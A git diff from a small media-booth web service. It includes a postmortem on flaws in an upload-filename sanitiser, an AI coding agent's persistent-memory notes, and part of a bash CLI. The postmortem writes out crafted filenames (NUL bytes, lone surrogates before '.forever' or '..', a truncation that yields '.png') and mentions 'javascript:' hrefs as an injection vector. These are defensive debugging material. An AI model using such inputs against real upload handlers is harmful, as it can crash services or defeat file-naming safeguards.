`f` and then resolved the whole ring again, so `cring.index(f)` could raise
|
||||
(a 500) when a file vanished in between. design-dev's `d54bb04` judges each
|
||||
rel once per request.
|
||||
@@ -0,0 +1,55 @@
|
||||
# Upload names: two crashes found, then two holes in the fix
|
||||
|
||||
_2026-09-24. Commits `92c774e`, `225ba32`; heid bug-hunt thread `01M3AXG27KQDMA6P3RTAAYMEHP`._
|
||||
|
||||
## What was wrong
|
||||
|
||||
design-dev's r3 bug hunt (hulda) found that `/upload` returned a 500 for a
|
||||
multipart filename carrying a NUL: `safe_upload_name` stripped path, dots and
|
||||
length but not NUL, and `(dest / name).open("wb")` raised ValueError. The
|
||||
upload's `except Exception` tore the booth down and re-raised.
|
||||
|
||||
Fixing it turned up a second 500 on the same line: the cap was
|
||||
`base[:200]`, 200 CHARACTERS. NAME_MAX is 255 BYTES, so 200 two-byte
|
||||
characters (`é`, or any CJK name) raised ENAMETOOLONG.
|
||||
|
||||
## The first fix, and the two holes a single arm found in it
|
||||
|
||||
`92c774e` stripped NUL first, then applied the dot rule, then capped at 200
|
||||
UTF-8 bytes via `encode("utf-8", "surrogatepass")[:200].decode("utf-8",
|
||||
"ignore")`, taking the cut out of the stem so the extension survived.
|
||||
|
||||
Heid's own review of that diff found nothing. hulda, reading the whole snapshot
|
||||
against the declared invariants, found:
|
||||
|
||||
1. **The surrogate was dropped LAST.** The final `decode("ignore")` removed a
|
||||
lone surrogate after `lstrip(".")` had already run, so `"\ud800.forever"`
|
||||
came out as `.forever`, which is the keep marker, and `"\ud800.."` as `..`.
|
||||
The NUL had been moved first for exactly this reason; the same discipline
|
||||
was not applied to the other droppable class. It was not reachable over HTTP:
|
||||
Starlette decodes a multipart filename strictly (utf-8, else latin-1), so it
|
||||
never yields a lone surrogate. The fix made the helper right by construction
|
||||
anyway.
|
||||
2. **A cut could manufacture a kind.** A suffix too long to keep (>16 bytes)
|
||||
was cut like text, and the cut could land on a shorter suffix that means
|
||||
something: `"a"*196 + ".png" + "x"*17` became `….png`, an image.
|
||||
3. The 16-byte extension threshold was unguarded: every test suffix was 4
|
||||
bytes, so `<= 4` survived. A `.jpeg` case now pins it.
|
||||
|
||||
`225ba32` does one pass first (NUL and everything unencodable), then basename
|
||||
and the dot rule, then the byte cap. A cut whose `classify`/`doc_kind` differs
|
||||
from the original's has its dots replaced with `_`. Falsifiers:
|
||||
`tests/mutations/upload_names.toml`, 7/7.
|
||||
|
||||
## The lessons
|
||||
|
||||
- **A sanitiser drops everything droppable FIRST, then applies the structural
|
||||
rules.** Anything dropped after a rule can defeat that rule.
|
||||
- **A NUL test through httpx `files=` proves nothing.** httpx
|
||||
percent-escapes the NUL, so the server sees a literal `%00`. Post a raw
|
||||
multipart body. The first integration test passed pre-fix for this reason.
|
||||
- **Truncating by length can change a file's meaning.** In the Booth the kind
|
||||
comes from the extension, so a cut has to preserve the kind, not only the
|
||||
byte count.
|
||||
- **The single-arm hunt earned its cost.** Heid's own read traced only the
|
||||
hunks; hulda read the declared invariants against the whole bundle.
|
||||
+100
-42
@@ -1,6 +1,6 @@
|
||||
# Persistent memory — booth
|
||||
|
||||
_Last updated: 2026-09-22_
|
||||
_Last updated: 2026-09-25_
|
||||
|
||||
> **Always check for `/tmp/booth-dev-handoff.md`** — if it exists and its
|
||||
> `Written:` stamp is under 8 hours old, read it (it carries the in-flight
|
||||
@@ -17,53 +17,108 @@ loop it turned out to actually be.
|
||||
|
||||
## Current state / in-flight
|
||||
|
||||
_As of 2026-09-22:_
|
||||
_As of 2026-09-25:_
|
||||
|
||||
- 🟢 **NOTHING IS IN FLIGHT** (shutdown snapshot, 2026-09-25). The tree is
|
||||
clean, no branch or worktree is open, and no peer is waiting on booth-dev.
|
||||
main is ONE memory commit ahead of origin (this snapshot), unpushed: the
|
||||
push is the operator's call.
|
||||
- ✅ **r3 COMPARE IS LIVE AND PUSHED** (operator: "merge r3 once the mutation
|
||||
check is clean", then "merge and push", 2026-09-24). origin/main is the r3
|
||||
arc's tip: r3 (`f8d136a`), design-dev's race fix (`d54bb04`: one compare ring
|
||||
per request, the review's Compare control hidden when its item vanished
|
||||
mid-request, and a NUL in a raw file path returning 404) and our upload-name fix
|
||||
(`225ba32`). The gate on that exact tip: 928 passed, and 245/245 falsifiers
|
||||
across all 8 tables. The service was restarted at 1804. Our seam pass on the
|
||||
contract caught 12 mismatches before code; the two that mattered were
|
||||
duplicate `data-region` ids (a save would have made B's flag button flag A)
|
||||
and 22 mutation-table rows anchored in the script that moved.
|
||||
→ `persistent-memory.d/2026-09-24-r3-seam-pass-what-only-it-could-see.md`
|
||||
- ✅ **Pushed on 09-23 (`d5ead3f`, 888 green).** Landed that night, in
|
||||
order: r2b merge 1 (`b92b002`, reveal all + booth fog), r2b merge 2
|
||||
(`cce6a20`, Desk row + dates + theme toggle), the Desk sort (`64f6488`), the
|
||||
blur round-trip (`6880ab3`), 768-wide thumbnails (`1d31ab0`), r2c the review
|
||||
stage (`fde082e`), and strict blur writes (`8a78a9b`).
|
||||
- ⚠ **A peer's relayed "merge it" or "push now" is NOT the operator's
|
||||
approval.** The permission layer refused a merge on design-dev's word alone
|
||||
(r2b), and design-dev's relay of "approve r2c, push now" was held until the
|
||||
operator said it here. Miranda is the only named relay.
|
||||
- ⚠ **DO NOT SWEEP `:8090` WITH GETS OF BOOTH PAGES.** Each GET records a look.
|
||||
Two sessions did it on 2026-09-23, which emptied "new since you looked" and
|
||||
collapsed the Desk. Check live with `/healthz`, `/` and `?thumb=1`; check
|
||||
pages on an rsync'd COPY (CLAUDE.md "Working in here").
|
||||
- ✅ **THE BLUR SET ROUND-TRIPS ANY REL** (operator: "fix the blur"). It lives
|
||||
in `.blurred.json` through stdlib-only `booth/blur.py`: one writer and one
|
||||
`check_rel` for the service and `booth blur`. The legacy `.blurred` is read
|
||||
as lines, only while no `.blurred.json` exists, and the first write retires
|
||||
it. Writes are strict (`_load`) and the reader is lenient. Mechanics live in
|
||||
CLAUDE.md invariant 2. `booth blur <name>` with NO files fogs the whole booth
|
||||
(`.blurbooth`), which composes with the per-item set and never overrides it. **Still ours, not done, not scheduled:** "off" means
|
||||
ON for /blur and /blurbooth but OFF for /flag (forms only send 0/1), and the
|
||||
CLI's `.blurbooth` `touch` still follows a symlink where the service no
|
||||
longer does. Recorded in `4cfbce5`'s message; raise them with the operator
|
||||
before starting.
|
||||
- ✅ **THUMBNAILS: 768 wide, capped at 4096 tall, and the operator KEPT 768**
|
||||
(2026-09-24; do not re-raise it). `tests/test_thumbs_browser.py` binds 768
|
||||
to the rendered tile width, so a redesign that widens tiles turns it red.
|
||||
The cache is planting-proof (heid 4/4 folded). 381 live thumbnails, 14.5 MB.
|
||||
→ `persistent-memory.d/2026-09-23-the-cache-that-aged-the-thing-it-cached.md`
|
||||
- ⚠ **THE BROWSER SUITE WAS FLAKY UNDER LOAD; THE CAUSE IS STILL UNCONFIRMED.**
|
||||
The offline test browser (in `b92b002`) gives 0 reds in 24 against a pre-fix
|
||||
rate of ~1 in 8, which is consistent with the fix and nothing more. **Do not
|
||||
read a green suite as proof.**
|
||||
→ `persistent-memory.d/2026-09-23-the-browser-suite-is-flaky-under-load.md`
|
||||
- ⚠ **`sindra-nude-final` and `sindra-nude-pool` were fogged at 21:44 on
|
||||
09-23**, minutes after the control went live. It wasn't booth-dev;
|
||||
presumably the operator, as he said he would. **Do not blur, unblur or
|
||||
reveal them on his behalf.** The Desk still shows up to 4 images per booth.
|
||||
- 🛑 **NO `1.0.0` YET** (operator, 2026-09-23). The tag stays `1.0.0b1`, with
|
||||
no further pre-release until the arc lands. r3 compare, the last unit we
|
||||
held named in it, landed 2026-09-24; **whether that closes the arc is the
|
||||
operator's call, never ours.** ⚠ It has looked complete twice already.
|
||||
- 🛑 **STANDING: NO ANNOUNCEMENTS out of this repo until the whole arc is done,
|
||||
and the operator sends that one himself.** Do not offer, draft-and-await, or
|
||||
raise it.
|
||||
- ⚠ **Read a staged ref, never a SHA written here.** design-dev rebases in
|
||||
place: `git show-ref | grep design-dev`, then `git merge-tree`.
|
||||
|
||||
- **v1 is gated on seven units** in `ROADMAP.md`, dependency-ordered
|
||||
**U1 → U2 → {U3, U4, U5} → U7**, with **U6 independent**.
|
||||
- **U1, U2, U4 and U5 are landed.** U1 `ce598b3`; U2 `c7f9437` → `v0.2.0`,
|
||||
`5e41108` → `v0.2.1`, `026a1fc` → `v0.2.2`; U5 `c015a91` + `95beede` →
|
||||
`v0.3.0`. **U4 landed 2026-09-22** — 396 tests green (341 → 396), deployed and
|
||||
verified live, 24/24 booth pages 200, layout probe clean.
|
||||
- **U4 released as `v0.4.0`** (operator approved the minor on 2026-09-22).
|
||||
`c3a97c1` is the unit; the release commit carries the pre-existing fixes the
|
||||
bug-hunt panel surfaced in touched files. The tag waited for the last gate to
|
||||
close, per the `v0.2.0` lesson — see Tried and abandoned.
|
||||
- ⚠ **The 17 consuming handles have NOT been told** that `keep` no longer means
|
||||
"waiting on an answer". That is the one coordination this release genuinely
|
||||
warrants, and a fleetwide post needs operator approval before it is sent.
|
||||
- **THE NEXT UNIT IS THE OPERATOR'S CALL.** U3 (declared embed seam) and U6
|
||||
(benches) are both unblocked; U7 waits on the rest. U6 is independent of
|
||||
everything and was conceptually unblocked by U5 giving job 5 a home; U3 is
|
||||
where verbatim-booth provenance was deferred to, and U4 added a fourth reason
|
||||
to want it — a verbatim booth has no Booth-rendered header, so its lifetime
|
||||
line lives only on the index card and the marks page.
|
||||
- **No gate is outstanding.** All three ran on U4 and were folded in: the
|
||||
`/heid-contract-review` panel (`01M34VX0SH23Y3VC92E7GM4S70`), the
|
||||
`/heid-code-review` panel (`01M34WAFJC3RTERFYBBZJN1SVG`) and the
|
||||
`/heid-bug-hunt` (`01M34Y2R0RAJRSN36Q8K4KAB36`). All loops closed with heid.
|
||||
The U5 round's three are also closed (`01M340PNVRS21HPASZT38PXQPN`,
|
||||
`01M341E9XAPZEFBSPK9HPGAM0S`, `01M343SXX27Z47C3STXXRC7M42`).
|
||||
- **Two dated predictions are pending and must not be forgotten.** U5's adoption
|
||||
re-measure on **2026-09-29** (two counts, see its entry — already at 3 of 24
|
||||
announced and 2 with a `why`, all from peers told nothing), and the `.forever`
|
||||
re-count **on or after 2026-10-06**, a fortnight after U4 landed, which is
|
||||
U4's success criterion. ⚠ Only 4 booths carry marks at all, so the hold's live
|
||||
blast radius is small and the prediction rests on both halves of U4 — see its
|
||||
entry for what a null result would and would not mean.
|
||||
- **Three methodology proposals from this session sit with the operator**, routed
|
||||
by heid rather than decided unilaterally: reshaping the paraphrase gate toward
|
||||
a drift-check for narrative-heavy contracts, a standing
|
||||
"green-tests-prove-nothing" direction for the code-review gate, and regin's
|
||||
table-vs-signature consistency pass. They are changes to the `/heid*` skills,
|
||||
not to this repo.
|
||||
- The booth set churns hard: 26 → 24 during this session as the sweeper ran.
|
||||
Re-count rather than trusting any number written here.
|
||||
|
||||
## Recent decisions
|
||||
|
||||
- `[2026-09-24]` ⏸ **The upload route's three lifecycle gaps: DEFERRED** — the pickup-id `mkdir` sits outside the try (a FileExistsError race), `rmtree(ignore_errors=True)` hides its own failure, and `except Exception` misses CancelledError. All three are rare; the operator was told and merged without them. Tracked in `225ba32`'s commit message.
|
||||
- `[2026-09-24]` ✅ **Upload names: two crashes found, then two holes in the fix** — READ BEFORE WRITING A SANITISER: drop everything droppable FIRST, then apply the structural rules; a NUL test through httpx `files=` proves nothing → `persistent-memory.d/2026-09-24-upload-names-two-crashes-then-two-holes.md`
|
||||
- `[2026-09-24]` ✅ **The r3 seam pass: what only it could see** — 12 contract-vs-code mismatches folded before code. READ BEFORE A CONTRACT THAT ADDS `data-region`S, MOVES TEMPLATE CODE, OR ADDS A `/b/{name}/<word>` ROUTE → `persistent-memory.d/2026-09-24-r3-seam-pass-what-only-it-could-see.md`
|
||||
- `[2026-09-24]` ✅ **r3 compare merged and pushed on the operator's word, gated by our own run** — fast-forward only to SHAs we had gated ourselves (`f8d136a`, then `225ba32`), never to design-dev's reported numbers.
|
||||
- `[2026-09-24]` ✅ **r3 compare ruled: pick two, flag the winner** — operator, in design-dev's session. No `booth_items` or marks work; the URL is rel-keyed. The A/same/B pairwise verdict is **PARKED (deferred)**, with our ordered-pair-of-rels note attached. Tracked in design-dev's r3 contract parked entry, althing thread `01M3952NCDRRJX5XDFSPMSP5HJ`.
|
||||
- `[2026-09-23]` ✅ **The Desk's "Everything else" sorts by last UPDATE, not last activity** — the operator chose the simple fix over repairing `.viewed` from the access log. READ BEFORE CHECKING THE LIVE SERVICE → `persistent-memory.d/2026-09-23-desk-sorts-by-last-update.md`
|
||||
- `[2026-09-23]` ✅ **The blur round-trip, and the migration that recreated the bug it fixed** — three rounds, and the third was our own 09-21 marks lesson repeated. READ BEFORE ANY DOTFILE FORMAT CHANGE → `persistent-memory.d/2026-09-23-blur-round-trip-and-the-migration-that-recreated-it.md`
|
||||
- `[2026-09-23]` ✅ **Thumbnails sized for the tile's width at 2x** — 768 is a layout number, held by a browser test; the operator kept it. READ BEFORE CHANGING TILE WIDTH OR THE THUMB RULE → `persistent-memory.d/2026-09-23-thumbnails-sized-for-the-tile.md`
|
||||
- `[2026-09-23]` ✅ **The four flow rulings, and what they cost the beta** — all four taking design-dev's recommendation; READ BEFORE CUTTING ANY RELEASE, because `v1.0.0b1`'s "no new features" promise no longer describes the arc and an alpha drop-back is illegal → `persistent-memory.d/2026-09-23-the-flow-rulings-and-what-they-cost-the-beta.md`
|
||||
- `[2026-09-23]` ✅ **Creation dates came from a syscall, after three guesses wearing a fact's clothes** — READ BEFORE REACHING FOR A PROXY; the system already recorded what looked unavailable, and one of the rejected proxies was a shape we had just finished paying for → `persistent-memory.d/2026-09-23-dates-and-the-guess-wearing-a-facts-clothes.md`
|
||||
- `[2026-09-23]` ⚠ **The browser suite is flaky under load — OPEN, owned by design-dev** — three tests, two real defects fixed, NEITHER proven causal; do not read a green suite as proof → `persistent-memory.d/2026-09-23-the-browser-suite-is-flaky-under-load.md`
|
||||
- `[2026-09-23]` ⚠ **The cache that aged the thing it cached** — thumbnails 77.5MB→0.78MB; READ BEFORE PARKING ANYTHING ON A MEASUREMENT (we counted images and the cost was in bytes), and BEFORE PUTTING A SERVER-WRITTEN CACHE INSIDE A BOOTH (excluding its contents does not stop it aging the booth) → `persistent-memory.d/2026-09-23-the-cache-that-aged-the-thing-it-cached.md`
|
||||
- `[2026-09-23]` ⚠ **The probe that nearly dismissed a live injection vector** — the link board rendered `javascript:` hrefs; READ BEFORE TRUSTING A NEGATIVE RESULT FROM AN OBVIOUS PROBE, and before assuming an existing scheme check is the guard you are looking for → `persistent-memory.d/2026-09-23-the-probe-that-nearly-dismissed-a-live-vector.md`
|
||||
- `[2026-09-23]` ✅ **The bug-hunt panel found six defects and five vacuous falsifiers** — READ BEFORE BUILDING ANY FRAGMENT ANCHOR (browsers match raw before decoded, so both sides must be encoded), and before trusting a well-commented diff's guards → `persistent-memory.d/2026-09-23-the-bug-hunt-panel-and-five-vacuous-falsifiers.md`
|
||||
- `[2026-09-22]` ✅ **v1.0.0b1 — the v1 target staged as a beta, and a version that was two copies** — READ BEFORE DERIVING A VERSION FROM `importlib.metadata` HERE; it reports a different artifact, and `booth/__init__.py` turns out to be stdlib-only → `persistent-memory.d/2026-09-22-v1-staged-as-a-beta-and-a-second-copy-of-the-version.md`
|
||||
- `[2026-09-22]` ✅ **U7 landed — and the number that justified it did not reproduce** — all seven v1 units are in; READ BEFORE TRUSTING A MEASUREMENT INSIDE A CONTRACT, and before assuming a degeneracy guard covers the degeneracy you actually have → `persistent-memory.d/2026-09-22-u7-landed-and-a-table-that-did-not-reproduce.md`
|
||||
- `[2026-09-22]` ⚠ **A mutation harness certified a broken test, twice, for two reasons** — no green baseline, and the pyc cache silently reverting same-size mutations; READ BEFORE WRITING ONE → `persistent-memory.d/2026-09-22-a-mutation-harness-that-certified-a-broken-test.md`
|
||||
- `[2026-09-22]` 🛑 **STANDING: no announcements out of this repo until the arc is done, and he sends that one himself** — verbatim *"no announcements until the entire arc is done, and even then i'll do it myself."* Stricter than the house broadcast gate: the send is not the agent's to make, so **asking is also out of scope**. The drafted 17-handle note is REASSIGNED to him, not blocked — see the in-flight row above; do not raise it again.
|
||||
- `[2026-09-22]` **The operator ruled on all five open items at once** — four executed incl. the first push; the broadcast was blocked by the permission layer and is drafted at `docs/pending/` → `persistent-memory.d/2026-09-22-operator-ruled-on-the-open-five.md`
|
||||
- `[2026-09-22]` **U7 is three-quarters built and blocked on one word** — the ratified three landed; the sections-vs-groups departure is NOT built and is the operator's call, tracked at `docs/contracts/u7_navigation.contract.md` → `persistent-memory.d/2026-09-22-u7-three-quarters-and-one-ruling.md`
|
||||
- `[2026-09-22]` **An approved directive misrouted because pane_find addresses by a rolling pane title** — resolved; the MECHANISM is the durable part, reported to infra-ops, untracked by booth-dev → `persistent-memory.d/2026-09-22-a-directive-misrouted-by-pane-title.md`
|
||||
- `[2026-09-22]` **U7 re-measured before scoping — sections are dead, filename prefixes are not** — PRE-WORK ONLY, no unit started; read before writing U7's contract → `persistent-memory.d/2026-09-22-u7-remeasured-before-scoping.md`
|
||||
- `[2026-09-22]` **The last open defect closed, and building its falsifier found another** — the wrong-shaped answer fixed at `_hydrate`; `_safe_fragments` lost its natural trigger and its handler could not survive the failure it handled → `persistent-memory.d/2026-09-22-a-wrong-shaped-answer-500s-the-gallery.md`
|
||||
- `[2026-09-22]` **U6 released as `v0.6.0` — benches, and the number that was two defects** — six of seven v1 units landed, NOT PUSHED → `persistent-memory.d/2026-09-22-u6-benches-released.md`
|
||||
- `[2026-09-22]` **Three cold panels on one unit, and what each lens could only see alone** — READ BEFORE DECIDING TO SKIP A GATE; all five passes found something the others structurally could not → `persistent-memory.d/2026-09-22-three-cold-panels-on-one-unit.md`
|
||||
- `[2026-09-22]` **U6 landed — three surfaces, three jobs, one predicate** — the seam review caught three real contract defects incl. a per-row `resolve_booth` that would have 404'd the board → `persistent-memory.d/2026-09-22-u6-benches-landed.md`
|
||||
- `[2026-09-22]` **The 69% link-board rot was two defects wearing one number** — READ BEFORE SCOPING ANY LINK-BOARD WORK; U5 closed the larger half and full-URL-vs-origin identity is a measured call → `persistent-memory.d/2026-09-22-one-number-was-two-defects.md`
|
||||
- `[2026-09-22]` **U3 landed — the page declares the seam, the Booth mounts into it** — ten regexes against author HTML replaced by a substring test and a `+` → `persistent-memory.d/2026-09-22-u3-declared-embed-seam-landed.md`
|
||||
- `[2026-09-22]` **A wrong-shaped answer 500s the gallery and the marks page** — PRE-EXISTING (measured at `42ea67f`), NOT U3; the v0.2.2 lesson is only half-implemented → `persistent-memory.d/2026-09-22-a-wrong-shaped-answer-500s-the-gallery.md`
|
||||
- `[2026-09-22]` **The browser became a test surface** — READ BEFORE TOUCHING `playwright` IN pyproject; the pinned upper bound is the foot-gun, and these tests SKIP rather than fail → `persistent-memory.d/2026-09-22-the-browser-became-a-test-surface.md`
|
||||
- `[2026-09-22]` **A vacuity pass that tries the contract's own mutation agrees with itself** — U3 ran one, reported 7/7, and a cold panel then showed one of the seven was vacuous; READ BEFORE WRITING A *Falsifiable:* LINE → `persistent-memory.d/2026-09-22-seven-of-seven-falsifiers.md`
|
||||
- `[2026-09-22]` **U4 landed — lifetime is derived, not declared** — three states, viewing is activity, and no new arithmetic anywhere → `persistent-memory.d/2026-09-22-u4-derived-lifetime-landed.md`
|
||||
- `[2026-09-22]` **The `.forever` diagnosis got a live positive control** — 3 of the 4 booths awaiting an answer were ALSO hand-pinned — RE-COUNT 2026-10-06 → `persistent-memory.d/2026-09-22-forever-had-a-live-positive-control.md`
|
||||
- `[2026-09-22]` **No fleetwide notice for U4, and what that does to the prediction** — READ BEFORE THE 2026-10-06 RE-COUNT; a flat rate does not falsify the diagnosis → `persistent-memory.d/2026-09-22-no-notice-and-what-it-does-to-the-prediction.md`
|
||||
- `[2026-09-22]` **Four independent paths to one fail-open delete** — the bug-hunt panel's class, and the zsh word-splitting trap that shipped an empty bundle → `persistent-memory.d/2026-09-22-four-paths-to-one-fail-open-delete.md`
|
||||
- `[2026-09-22]` **Two reads of one file are not one read of one state** — a TOCTOU seam that composes two correct readers into a fail-open delete → `persistent-memory.d/2026-09-22-two-reads-are-not-one-state.md`
|
||||
- `[2026-09-22]` **Five of seven INV falsifiers did not falsify anything** — read before writing a *Falsifiable:* line; a green test cited one rather than being one → `persistent-memory.d/2026-09-22-vacuous-falsifiers.md`
|
||||
@@ -93,6 +148,9 @@ _As of 2026-09-22:_
|
||||
|
||||
## Tried and abandoned
|
||||
|
||||
- `[2026-09-24]` **The blur writer building on the renderer's lenient reader** — an unreadable file read as empty was then overwritten; the 09-21 marks lesson below, repeated in a new module and live one night. Fixed in `8a78a9b`.
|
||||
- `[2026-09-23]` **Writing a new format into the old file name and sniffing it** — a legacy line naming `["a.png"]` parses as JSON and blurs the neighbour (heid 3/3). A format change gets a new name (`c1f5543`).
|
||||
- `[2026-09-23]` **Verifying the live service by GETting every booth page** — each GET records a look. It emptied "new since you looked" and scrambled the Desk. Check pages on a copy.
|
||||
- `[2026-09-21]` **Tagging a release while a review gate was in flight** — cost a same-hour v0.2.1 and a correction to 15 handles → `persistent-memory.d/2026-09-21-tagging-with-a-gate-in-flight.md`
|
||||
- `[2026-09-21]` **Letting the write path share the read path's leniency** — a tolerant reader and a tolerant writer are not the same decision → `persistent-memory.d/2026-09-21-tolerant-writer-over-tolerant-reader.md`
|
||||
- `[2026-09-21]` **Letting Jinja hot-reload templates in the deployment root** — caused a live outage: 19 of 25 booths at 500. Why auto_reload=False → `persistent-memory.d/2026-09-21-jinja-hot-reload-outage.md`
|
||||
|
||||
+11
-1
@@ -1,6 +1,6 @@
|
||||
[project]
|
||||
name = "booth"
|
||||
version = "0.4.0"
|
||||
version = "1.0.0b1"
|
||||
description = "The Booth — a dead-simple standing web server that scans a data dir of drop-folders and renders each as an ephemeral media 'booth' (image/webm/audio auto-gallery, or a folder's own index.html verbatim). Also accepts browser/curl uploads for pickup under a human-readable id. 24h TTL, then the folder is wiped. Fleet tool for CC sessions to surface A/B and smoke results to the operator."
|
||||
requires-python = ">=3.11"
|
||||
dependencies = [
|
||||
@@ -9,12 +9,22 @@ dependencies = [
|
||||
"jinja2>=3.1",
|
||||
"python-multipart>=0.0.9",
|
||||
"markdown>=3.5",
|
||||
"pillow>=10.0",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
test = [
|
||||
"pytest>=8.0",
|
||||
"httpx>=0.27", # fastapi TestClient
|
||||
# U3's embed seam moves placement into the browser, where no string
|
||||
# assertion can see it. Browsers are NOT downloaded per project: they live
|
||||
# box-wide in /opt/ms-playwright with PLAYWRIGHT_BROWSERS_PATH wired
|
||||
# globally. THE UPPER BOUND IS THE POINT -- each playwright release pins a
|
||||
# Chromium revision, and one that wants a revision the shared store does
|
||||
# not have dies with an opaque "Executable doesn't exist" rather than a
|
||||
# missing-dependency error. 1.60-1.62 map to chromium 1223/1228/1234, all
|
||||
# present. Raise the bound only after the store has the newer revision.
|
||||
"playwright>=1.60,<1.63",
|
||||
]
|
||||
|
||||
[build-system]
|
||||
|
||||
+325
-20
@@ -16,9 +16,33 @@
|
||||
# pick holds its own booth, see below)
|
||||
# booth unkeep <name> hand it back to the sweeper
|
||||
# booth link <url> [description] append a link to the standing link board
|
||||
# REFUSES a booth URL — a booth announces
|
||||
# itself now; use `booth new --why`
|
||||
# booth links list the board, numbered, with entry ids
|
||||
# booth unlink <id|index> remove ONE link from the board
|
||||
#
|
||||
# booth bench add <url> <name> register or UPDATE a bench (upsert)
|
||||
# booth bench ls list benches, live -> promoted -> retired
|
||||
# booth bench state <id|url> <state> live | promoted | retired
|
||||
# booth bench rm <id|url> remove one
|
||||
# booth bench import classify the board's rows; writes NOTHING
|
||||
# booth bench import --apply <id>... register ONLY the ids you name. A bare
|
||||
# --apply is REFUSED: a machine cannot tell
|
||||
# a bench from a bookmark by its URL, and
|
||||
# ~14 of 35 live candidates are bookmarks.
|
||||
# links.md is never edited by either form.
|
||||
#
|
||||
# THREE SURFACES, THREE JOBS. Telling them apart is the whole of U6:
|
||||
# a BOOTH is a review surface you post work to. It announces itself and is
|
||||
# swept 24h after its last activity. `booth new` / `booth add`.
|
||||
# a BENCH is a running thing — jackdaw's bench, talk's bench, the things that
|
||||
# get promoted to Homepage. Durable, and identified BY ITS URL, so posting
|
||||
# it again updates the row instead of adding a fifth. `booth bench add`.
|
||||
# a LINK is a reference bookmark — a repo, a model card, a doc page. The
|
||||
# standing board, unchanged and NOT deprecated. `booth link`.
|
||||
# The board carried all three because only one of them had a surface: 178 of its
|
||||
# 221 rows were booth URLs and 156 of those pointed at booths already swept.
|
||||
#
|
||||
# booth ask <name> <id> <prompt> <option>... [--no-notes]
|
||||
# pose a multiple-choice question in a booth
|
||||
# booth marks <name> [--wait [SECS]] print every mark in a booth as JSON;
|
||||
@@ -120,7 +144,6 @@ set -euo pipefail
|
||||
DATA="${BOOTH_DATA_DIR:-$HOME/booth-data}"
|
||||
URL="${BOOTH_URL:-http://10.100.10.50:8090}"
|
||||
KEEP=".forever" # must match KEEP_MARKER in booth/app.py
|
||||
BLUR=".blurred" # one booth-relative item path per line; see `blur` below
|
||||
LINKS_BOARD="${BOOTH_LINKS_BOARD:-links}"
|
||||
|
||||
# `--why` / `--title` for `new` and `add`. Pulled out of "$@" wherever they
|
||||
@@ -184,8 +207,39 @@ whoami_handle() {
|
||||
echo "${ALTHING_HANDLE:-${BOOTH_SOURCE:-$(hostname -s 2>/dev/null || echo unknown)}}"
|
||||
}
|
||||
|
||||
# Where booth/*.py lives, for the `python3 -c` calls below. The CLI runs under
|
||||
# the SYSTEM python3 with no venv, which is why every module it imports is
|
||||
# stdlib-only (CLAUDE.md invariant 1) and why no AST extractor can see these
|
||||
# imports — `tests/test_cli.py` runs the real script, and is the only thing that
|
||||
# catches a third-party import before a fleet host does.
|
||||
booth_src() {
|
||||
(cd "$(dirname -- "$(readlink -f -- "$0")")/.." && pwd)
|
||||
}
|
||||
|
||||
# The booth NAME a URL points at, or empty. ONE PREDICATE — this shells out to
|
||||
# booth.links.booth_target rather than pattern-matching `:8090/b/` here, because
|
||||
# the board's dead-row marker and `bench import` use that same function and a
|
||||
# second implementation in the shell would classify the host-agnostic and
|
||||
# percent-encoded cases differently (INV-2).
|
||||
# Prints `B:<name>` for a booth URL and `N` for anything else.
|
||||
#
|
||||
# A SENTINEL, NOT AN EMPTY STRING. Command substitution strips trailing
|
||||
# newlines, so a predicate that answers with the bare name cannot distinguish
|
||||
# "not a booth" from "a booth whose name bash just erased" — and the guard
|
||||
# then fails OPEN on that edge, which is the one direction a guard must never
|
||||
# fail. The prefix makes the answer unambiguous whatever the name contains.
|
||||
booth_target_of() {
|
||||
BOOTH_SRC="$(booth_src)" BOOTH_Q="$1" python3 -c '
|
||||
import os, sys
|
||||
sys.path.insert(0, os.environ["BOOTH_SRC"])
|
||||
from booth.links import booth_target # stdlib only — no venv needed
|
||||
name = booth_target(os.environ["BOOTH_Q"])
|
||||
sys.stdout.write("N" if name is None else "B:" + name)
|
||||
'
|
||||
}
|
||||
|
||||
usage() {
|
||||
echo "usage: booth {new <name> [--why W] [--title T]|add <name> <file>... [--why W] [--title T]|url <name>|ls|rm <name>|keep <name>|unkeep <name>|blur <name> <file>...|unblur <name> <file>...|link <url> [description]|links|unlink <id|index>|ask <name> <id> <prompt> <option>... [--no-notes]|marks <name> [--wait [SECS]]|asks <name> (deprecated alias for marks)|answer <name> <id> [--wait [SECS]]|marks-import <name>}" >&2
|
||||
echo "usage: booth {new <name> [--why W] [--title T]|add <name> <file>... [--why W] [--title T]|url <name>|ls|rm <name>|keep <name>|unkeep <name>|blur <name> [<file>...]|unblur <name> [<file>...]|link <url> [description]|links|unlink <id|index>|ask <name> <id> <prompt> <option>... [--no-notes]|marks <name> [--wait [SECS]]|asks <name> (deprecated alias for marks)|answer <name> <id> [--wait [SECS]]|marks-import <name>|bench add <url> <name>|bench ls|bench state <id|url> <live|promoted|retired>|bench rm <id|url>|bench import [--apply <id>...]}" >&2
|
||||
exit 2
|
||||
}
|
||||
|
||||
@@ -248,27 +302,73 @@ case "$cmd" in
|
||||
# screen-share, a scroll past something you did not want full-size. The
|
||||
# Booth has no auth by design: if a thing must not be SEEN, it must not be
|
||||
# in a booth.
|
||||
[ $# -ge 2 ] || usage
|
||||
[ $# -ge 1 ] || usage
|
||||
b="$1"; shift
|
||||
[ -d "$DATA/$b" ] || { echo "no such booth: $b" >&2; exit 1; }
|
||||
f="$DATA/$b/$BLUR"
|
||||
for item in "$@"; do
|
||||
item="${item#"$DATA/$b/"}"; item="${item#/}"
|
||||
case "$item" in
|
||||
*..*) echo "refusing path with '..': $item" >&2; exit 2 ;;
|
||||
esac
|
||||
[ -e "$DATA/$b/$item" ] || echo "warning: no such item in $b: $item" >&2
|
||||
touch "$f"
|
||||
|
||||
# NO FILES NAMED = THE WHOLE BOOTH. The Desk shows up to four images from
|
||||
# every booth on the page the operator opens first, so a booth that should
|
||||
# not be glanced at needs to say so as a BOOTH, not item by item — and the
|
||||
# session that posts it is the one that knows.
|
||||
#
|
||||
# A marker, and it COMPOSES with the per-item list rather than replacing
|
||||
# it: `unblur <name>` clears the booth flag and leaves individual choices
|
||||
# exactly as they were.
|
||||
if [ $# -eq 0 ]; then
|
||||
if [ "$cmd" = blur ]; then
|
||||
grep -qxF -- "$item" "$f" || printf '%s\n' "$item" >> "$f"
|
||||
touch "$DATA/$b/.blurbooth"
|
||||
echo "whole booth blurred (cosmetic — still served): $URL/b/$b/"
|
||||
else
|
||||
